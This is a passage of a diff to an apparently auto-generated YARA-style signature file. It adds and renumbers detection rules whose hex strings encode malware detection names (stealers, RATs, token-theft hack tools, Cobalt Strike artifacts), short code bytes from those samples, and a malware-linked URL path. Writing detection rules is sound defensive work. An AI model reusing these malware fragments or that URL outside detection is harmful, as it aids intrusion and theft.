54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 53 75 6b 69 4c 6f 61 64 65 72 2e 41 21 64 68 61 00 01 00 2b 42 ff c6 b8 ab aa aa aa f7 e6 ff c7 8b ce d1 ea 8d 04 52 2b c8 75 90 01 01 48 8b dd eb 90 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_6401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63303,7 +66512,7 @@ rule _InfrastructureShared_6092{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6093{ +rule _InfrastructureShared_6402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63313,7 +66522,7 @@ rule _InfrastructureShared_6093{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6094{ +rule _InfrastructureShared_6403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63323,7 +66532,7 @@ rule _InfrastructureShared_6094{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6095{ +rule _InfrastructureShared_6404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63333,7 +66542,7 @@ rule _InfrastructureShared_6095{ ((#a_57_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6096{ +rule _InfrastructureShared_6405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63343,7 +66552,7 @@ rule _InfrastructureShared_6096{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6097{ +rule _InfrastructureShared_6406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63353,7 +66562,7 @@ rule _InfrastructureShared_6097{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6098{ +rule _InfrastructureShared_6407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63363,7 +66572,7 @@ rule _InfrastructureShared_6098{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6099{ +rule _InfrastructureShared_6408{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63373,7 +66582,7 @@ rule _InfrastructureShared_6099{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6100{ +rule _InfrastructureShared_6409{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63383,7 +66592,7 @@ rule _InfrastructureShared_6100{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6101{ +rule _InfrastructureShared_6410{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63393,7 +66602,7 @@ rule _InfrastructureShared_6101{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6102{ +rule _InfrastructureShared_6411{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -63403,7 +66612,27 @@ rule _InfrastructureShared_6102{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6103{ +rule _InfrastructureShared_6412{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 4b 4c 54 21 4d 54 42 00 01 00 33 03 49 89 c9 49 09 d1 41 8b 55 90 01 01 69 0d 90 01 08 44 69 15 90 01 08 41 01 ca 44 89 d1 80 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6413{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 47 56 41 21 4d 54 42 00 01 00 3b 01 8b d0 44 0f b6 4c 13 10 ff c0 99 41 f7 fe 8b c2 41 8b d0 44 0f b6 5c 15 10 41 8b f3 2b f1 41 2b f1 81 c6 00 02 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6414{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63414,7 +66643,7 @@ rule _InfrastructureShared_6103{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*9504) >=1 } -rule _InfrastructureShared_6104{ +rule _InfrastructureShared_6415{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63425,7 +66654,7 @@ rule _InfrastructureShared_6104{ ((#a_54_0 & 1)*18467+(#a_cf_1 & 1)*25331) >=1 } -rule _InfrastructureShared_6105{ +rule _InfrastructureShared_6416{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63435,7 +66664,7 @@ rule _InfrastructureShared_6105{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6106{ +rule _InfrastructureShared_6417{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63446,7 +66675,7 @@ rule _InfrastructureShared_6106{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*769) >=1 } -rule _InfrastructureShared_6107{ +rule _InfrastructureShared_6418{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63457,7 +66686,7 @@ rule _InfrastructureShared_6107{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28422) >=1 } -rule _InfrastructureShared_6108{ +rule _InfrastructureShared_6419{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63468,7 +66697,7 @@ rule _InfrastructureShared_6108{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*29797) >=1 } -rule _InfrastructureShared_6109{ +rule _InfrastructureShared_6420{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63479,7 +66708,7 @@ rule _InfrastructureShared_6109{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*30575) >=1 } -rule _InfrastructureShared_6110{ +rule _InfrastructureShared_6421{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -63490,7 +66719,7 @@ rule _InfrastructureShared_6110{ ((#a_5f_0 & 1)*25635+(#a_6c_1 & 1)*11858) >=1 } -rule _InfrastructureShared_6111{ +rule _InfrastructureShared_6422{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -63502,7 +66731,7 @@ rule _InfrastructureShared_6111{ ((#a_74_0 & 1)*16675+(#a_33_1 & 1)*26967+(#a_75_2 & 1)*25167) >=1 } -rule _InfrastructureShared_6112{ +rule _InfrastructureShared_6423{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -63514,19 +66743,19 @@ rule _InfrastructureShared_6112{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26552+(#a_9d_2 & 1)*21967) >=1 } -rule _InfrastructureShared_6113{ +rule _InfrastructureShared_6424{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 63 72 79 70 74 5f 62 61 73 65 2e 37 00 01 00 08 01 93 c5 ce 04 70 33 19 4a 01 00 08 01 08 3e 45 7f eb a8 92 c1 01 00 08 01 f3 aa 34 c8 97 53 49 4d 01 00 08 01 cf } //18467 - $a_ea_1 = {4f e7 00 00 78 68 00 00 02 00 02 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 61 77 6b 63 61 77 6b 2e 57 6c 62 73 63 74 72 6c 2e 42 21 64 68 61 00 02 00 2e 03 83 e0 07 0f b6 44 90 01 02 00 41 05 48 8d 42 ff 83 e0 07 0f b6 44 90 01 02 00 41 04 48 8d 42 fe 83 e0 07 0f b6 44 90 01 02 00 41 03 90 00 00 00 78 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 49 4f 62 69 74 55 6e 6c 6f 63 6b 65 72 44 } //5973 - $a_01_3 = {5c 44 6f 73 44 65 76 69 63 65 73 5c 49 4f 62 69 74 55 6e 6c 6f 63 6b 65 72 44 65 76 69 63 65 01 00 11 80 01 49 4f 62 69 74 55 6e 6c 6f 63 6b 65 72 2e 73 79 73 00 00 78 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 54 6f 6b 65 6e 53 74 65 61 6c 2e 41 21 64 68 61 00 01 00 11 01 5b 2d 5d 50 69 70 65 20 69 73 20 63 6c 6f 73 65 21 01 00 21 01 } //7936 + $a_ea_1 = {4f e7 00 00 78 68 00 00 02 00 02 00 01 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 61 77 6b 63 61 77 6b 2e 57 6c 62 73 63 74 72 6c 2e 42 21 64 68 61 00 02 00 2e 03 83 e0 07 0f b6 44 90 01 02 00 41 05 48 8d 42 ff 83 e0 07 0f b6 44 90 01 02 00 41 04 48 8d 42 fe 83 e0 07 0f b6 44 90 01 02 00 41 03 90 00 00 00 78 68 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 45 48 56 56 21 4d 54 42 00 02 00 } //5973 + $a_5e_2 = {16 13 0a 2b 2b 11 05 11 0a 8f 0d 00 00 01 25 47 08 d2 61 d2 52 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 b7 5c 8a 00 6a 5e 0c 11 0a 17 58 13 0a 11 0a 11 05 8e 69 32 cd 00 00 78 68 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 45 4e 55 57 21 4d 54 42 00 02 00 3b 01 00 } //315 condition: - ((#a_54_0 & 1)*18467+(#a_ea_1 & 1)*5973+(#a_01_3 & 1)*7936) >=1 + ((#a_54_0 & 1)*18467+(#a_ea_1 & 1)*5973+(#a_5e_2 & 1)*315) >=1 } -rule _InfrastructureShared_6114{ +rule _InfrastructureShared_6425{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -63536,7 +66765,27 @@ rule _InfrastructureShared_6114{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6115{ +rule _InfrastructureShared_6426{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 45 48 56 56 21 4d 54 42 00 02 00 3b 01 6a 5e 26 16 13 0a 2b 2b 11 05 11 0a 8f 0d 00 00 01 25 47 08 d2 61 d2 52 11 0a 20 ff 00 00 00 5f 2d 0b 08 08 5a 20 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6427{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 45 4e 55 57 21 4d 54 42 00 02 00 3b 01 00 fe 09 00 00 7b de 01 00 04 fe 0c 02 00 fe 0c 02 00 d2 9c 00 fe 0c 02 00 20 01 00 00 00 58 fe 0e 02 00 fe 0c 02 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6428{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63547,7 +66796,7 @@ rule _InfrastructureShared_6115{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29801) >=2 } -rule _InfrastructureShared_6116{ +rule _InfrastructureShared_6429{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63558,7 +66807,7 @@ rule _InfrastructureShared_6116{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*25976) >=2 } -rule _InfrastructureShared_6117{ +rule _InfrastructureShared_6430{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63569,7 +66818,7 @@ rule _InfrastructureShared_6117{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*257) >=2 } -rule _InfrastructureShared_6118{ +rule _InfrastructureShared_6431{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63580,7 +66829,7 @@ rule _InfrastructureShared_6118{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*257) >=2 } -rule _InfrastructureShared_6119{ +rule _InfrastructureShared_6432{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63591,7 +66840,7 @@ rule _InfrastructureShared_6119{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*256) >=2 } -rule _InfrastructureShared_6120{ +rule _InfrastructureShared_6433{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63602,7 +66851,7 @@ rule _InfrastructureShared_6120{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*400) >=2 } -rule _InfrastructureShared_6121{ +rule _InfrastructureShared_6434{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63613,7 +66862,7 @@ rule _InfrastructureShared_6121{ ((#a_45_0 & 1)*20515+(#a_67_1 & 1)*12108) >=2 } -rule _InfrastructureShared_6122{ +rule _InfrastructureShared_6435{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63624,7 +66873,7 @@ rule _InfrastructureShared_6122{ ((#a_46_0 & 1)*21283+(#a_08_1 & 1)*18213) >=2 } -rule _InfrastructureShared_6123{ +rule _InfrastructureShared_6436{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -63634,18 +66883,41 @@ rule _InfrastructureShared_6123{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_6124{ +rule _InfrastructureShared_6437{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 17 01 08 b7 7a 5c 56 19 34 e0 89 08 b0 3f 5f 7f 11 d5 0a 3a 08 06 15 12 81 01 00 26 01 2a 2a 32 49 33 20 2e 40 37 61 33 2e 20 20 20 20 34 d5 3a 48 20 2e 20 20 20 2e 34 de 36 2d 6b 34 2e 33 7b 31 2a 2b 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a } //25635 - $a_52_1 = {57 61 6c 69 6e 6c 6f 67 2e 42 31 00 01 00 11 03 5c 77 6c 6e 33 32 5c 6c 90 02 02 2e 65 78 65 90 00 01 00 10 01 43 3a 5c 77 6c 6e 33 32 5c 6c 6f 67 2e 74 78 74 01 00 19 01 3a 2f 2f 61 6c 69 2d 6d 69 6e 69 2e 72 75 2f 6c 69 6e 64 65 78 2e 70 68 70 00 00 } //21320 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 17 01 08 b7 7a 5c 56 19 34 e0 89 08 b0 3f 5f 7f 11 d5 0a 3a 08 06 15 12 81 01 00 26 01 2a 2a 32 49 33 20 2e 40 37 61 33 2e 20 20 20 20 34 d5 3a 48 20 2e 20 20 20 2e 34 de 36 2d 6b 34 2e 33 7b 31 2a 2b 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 48 61 63 } //25635 + $a_6f_1 = {3a 4d 53 49 4c 2f 50 69 72 61 74 65 52 69 64 67 65 2e 41 21 64 68 61 00 01 00 12 01 4d 33 36 35 47 65 74 2e 50 72 6f 70 65 72 74 69 65 73 01 00 0d 01 4d 33 36 35 47 65 74 2e 46 6f 72 6d 73 01 00 0f 01 4d 33 36 35 47 65 74 2e 43 6c 61 73 73 65 73 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 } //21611 condition: - ((#a_5f_0 & 1)*25635+(#a_52_1 & 1)*21320) >=2 + ((#a_5f_0 & 1)*25635+(#a_6f_1 & 1)*21611) >=2 } -rule _InfrastructureShared_6125{ +rule _InfrastructureShared_6438{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 50 69 72 61 74 65 52 69 64 67 65 2e 41 21 64 68 61 00 01 00 12 01 4d 33 36 35 47 65 74 2e 50 72 6f 70 65 72 74 69 65 73 01 00 0d 01 4d 33 36 35 47 65 74 2e 46 6f 72 6d 73 01 00 0f 01 4d } //16675 + $a_47_1 = {74 2e 43 6c 61 73 73 65 73 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 7a 7a 79 4d 61 72 6b 68 6f 72 2e } //13875 + $a_68_2 = {00 01 00 12 80 01 67 5f 42 79 74 65 73 54 72 61 6e 73 66 65 72 72 65 64 01 00 0a 80 01 00 44 55 73 65 72 2e 64 6c 6c 01 00 0f 80 01 5c 53 79 73 74 65 6d 49 6e 66 6f 2e 63 70 70 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 61 6c 69 6e 6c 6f 67 2e 42 31 00 01 00 11 } //8514 + condition: + ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*13875+(#a_68_2 & 1)*8514) >=2 + +} +rule _InfrastructureShared_6439{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 69 7a 7a 79 4d 61 72 6b 68 6f 72 2e 42 21 64 68 61 00 01 00 12 80 01 67 5f 42 79 74 65 73 54 72 61 6e 73 66 65 72 72 65 64 01 00 0a 80 01 00 44 55 73 65 72 2e 64 6c 6c 01 00 0f 80 01 5c } //16675 + $a_74_1 = {6d 49 6e 66 6f 2e 63 70 70 00 00 78 68 00 00 02 00 02 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 61 6c 69 6e 6c 6f 67 2e 42 31 00 01 00 11 03 5c 77 6c 6e 33 32 5c 6c 90 02 02 2e 65 78 65 90 00 01 00 10 01 43 3a 5c 77 6c 6e 33 32 5c 6c 6f 67 2e 74 78 74 01 00 19 01 3a 2f 2f 61 6c 69 2d 6d 69 6e 69 2e 72 75 2f 6c 69 6e 64 65 78 2e 70 } //31059 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31059) >=2 + +} +rule _InfrastructureShared_6440{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -63657,7 +66929,7 @@ rule _InfrastructureShared_6125{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*29230+(#a_68_2 & 1)*0) >=2 } -rule _InfrastructureShared_6126{ +rule _InfrastructureShared_6441{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -63670,7 +66942,7 @@ rule _InfrastructureShared_6126{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*268+(#a_6c_2 & 1)*26996+(#a_6e_3 & 1)*283) >=2 } -rule _InfrastructureShared_6127{ +rule _InfrastructureShared_6442{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -63683,7 +66955,7 @@ rule _InfrastructureShared_6127{ ((#a_77_0 & 1)*16675+(#a_23_1 & 1)*3+(#a_00_2 & 1)*97+(#a_61_3 & 1)*29697) >=2 } -rule _InfrastructureShared_6128{ +rule _InfrastructureShared_6443{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63694,7 +66966,7 @@ rule _InfrastructureShared_6128{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28789) >=3 } -rule _InfrastructureShared_6129{ +rule _InfrastructureShared_6444{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63706,7 +66978,7 @@ rule _InfrastructureShared_6129{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*110+(#a_00_2 & 1)*24948) >=3 } -rule _InfrastructureShared_6130{ +rule _InfrastructureShared_6445{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63718,7 +66990,7 @@ rule _InfrastructureShared_6130{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29797+(#a_d2_2 & 1)*-28411) >=3 } -rule _InfrastructureShared_6131{ +rule _InfrastructureShared_6446{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63730,7 +67002,7 @@ rule _InfrastructureShared_6131{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29797+(#a_d2_2 & 1)*-28411) >=3 } -rule _InfrastructureShared_6132{ +rule _InfrastructureShared_6447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63742,19 +67014,31 @@ rule _InfrastructureShared_6132{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*29797+(#a_4f_2 & 1)*8293) >=3 } -rule _InfrastructureShared_6133{ +rule _InfrastructureShared_6448{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 72 64 6f 6e 2e 44 21 64 68 61 00 01 00 1e 80 01 4f 72 61 63 6c 65 20 44 61 74 61 62 61 73 65 20 43 4f 4d 20 69 6e 74 65 72 66 61 63 65 73 01 00 09 80 01 6d 73 64 74 63 2e 65 78 65 01 00 09 80 01 66 78 } //18467 - $a_2e_1 = {6c 6c 00 00 78 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 52 31 32 33 21 4d 54 42 00 01 00 09 81 01 64 79 69 6e 67 2e 65 78 65 01 00 0c 81 01 62 65 72 65 67 6e 65 6c 69 67 65 73 01 00 1a 81 01 73 61 6d 6d 65 6e 74 72 6b 6e 69 6e 67 73 20 73 61 6d 6c 65 6c 69 6e 73 65 72 00 00 78 68 00 00 } //29555 + $a_2e_1 = {6c 6c 00 00 78 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 41 30 31 21 4d 54 42 00 01 00 09 81 01 67 75 73 74 79 2e 65 78 65 01 00 15 81 01 62 6a 72 67 6e 69 6e 67 65 6e 20 74 6a 65 6e 65 72 69 6e 64 65 01 00 13 81 01 73 74 65 72 65 6f 66 6f 6e 69 20 73 6b 61 74 74 65 6e 73 00 00 78 68 00 00 } //29555 $a_00_2 = {03 00 21 } //3 condition: ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29555+(#a_00_2 & 1)*3) >=3 } -rule _InfrastructureShared_6134{ +rule _InfrastructureShared_6449{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 41 30 31 21 4d 54 42 00 01 00 09 81 01 67 75 73 74 79 2e 65 78 65 01 00 15 81 01 62 6a 72 67 6e 69 6e 67 65 6e 20 74 6a 65 6e 65 72 69 6e 64 65 01 00 13 81 01 73 74 65 72 65 6f 66 6f 6e 69 20 73 } //18467 + $a_74_1 = {6e 73 00 00 78 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 47 52 31 32 33 21 4d 54 42 00 01 00 09 81 01 64 79 69 6e 67 2e 65 78 65 01 00 0c 81 01 62 65 72 65 67 6e 65 6c 69 67 65 73 01 00 1a 81 01 73 61 6d 6d 65 6e 74 72 6b 6e 69 6e 67 73 20 73 61 6d 6c 65 6c 69 6e 73 65 72 00 00 78 68 00 00 } //24939 + $a_00_2 = {03 00 21 } //3 + condition: + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*24939+(#a_00_2 & 1)*3) >=3 + +} +rule _InfrastructureShared_6450{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63766,7 +67050,7 @@ rule _InfrastructureShared_6134{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*27749+(#a_78_2 & 1)*11877) >=3 } -rule _InfrastructureShared_6135{ +rule _InfrastructureShared_6451{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63778,7 +67062,7 @@ rule _InfrastructureShared_6135{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29806+(#a_2d_2 & 1)*24395) >=3 } -rule _InfrastructureShared_6136{ +rule _InfrastructureShared_6452{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63790,7 +67074,7 @@ rule _InfrastructureShared_6136{ ((#a_41_0 & 1)*20515+(#a_78_1 & 1)*11850+(#a_2e_2 & 1)*19758) >=3 } -rule _InfrastructureShared_6137{ +rule _InfrastructureShared_6453{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -63802,7 +67086,7 @@ rule _InfrastructureShared_6137{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*12849+(#a_69_2 & 1)*14962) >=3 } -rule _InfrastructureShared_6138{ +rule _InfrastructureShared_6454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -63814,33 +67098,42 @@ rule _InfrastructureShared_6138{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*29550+(#a_00_3 & 1)*23859) >=3 } -rule _InfrastructureShared_6139{ +rule _InfrastructureShared_6455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_4c_0 = {48 61 63 6b 74 6f 6f 6c 3a 57 69 6e 33 32 2f 48 61 72 64 6d 61 6e 2e 42 21 64 68 61 00 02 00 0a 01 71 40 33 24 25 68 79 2a 26 75 01 00 0a 01 4c 44 52 20 52 65 74 3d 25 64 01 00 0b 01 5b 65 35 3d 25 64 28 25 } //21539 $a_01_1 = {00 0e 01 5b 65 34 5d 0a 00 00 00 5b 65 33 5d 0a 00 00 00 78 68 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 43 6f 62 61 6c 74 5f 61 72 74 69 66 61 63 74 33 32 5f 64 6c 6c 00 01 00 0c 01 8a 04 17 30 03 8a 03 43 88 04 0e 41 01 00 07 01 0f b6 00 31 d8 88 01 01 00 0d 01 8a 04 10 30 03 } //10616 - $a_ff_2 = {04 0e 41 01 00 09 01 74 65 6d 70 2e 64 6c 6c 00 01 00 07 01 53 74 61 72 74 57 00 00 00 78 68 00 00 04 00 04 00 03 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 68 6f 70 70 65 72 50 72 6f 00 01 00 09 80 01 } //-30141 - $a_72_3 = {2e 70 64 62 02 00 15 80 01 72 65 70 6a 73 2e 73 68 6f 70 70 65 72 2d 70 72 6f 2e 63 6f 6d 01 00 1c 80 01 53 4f 46 54 57 41 52 45 5c 53 68 6f 70 70 65 72 50 72 6f 5c 4a 73 44 72 69 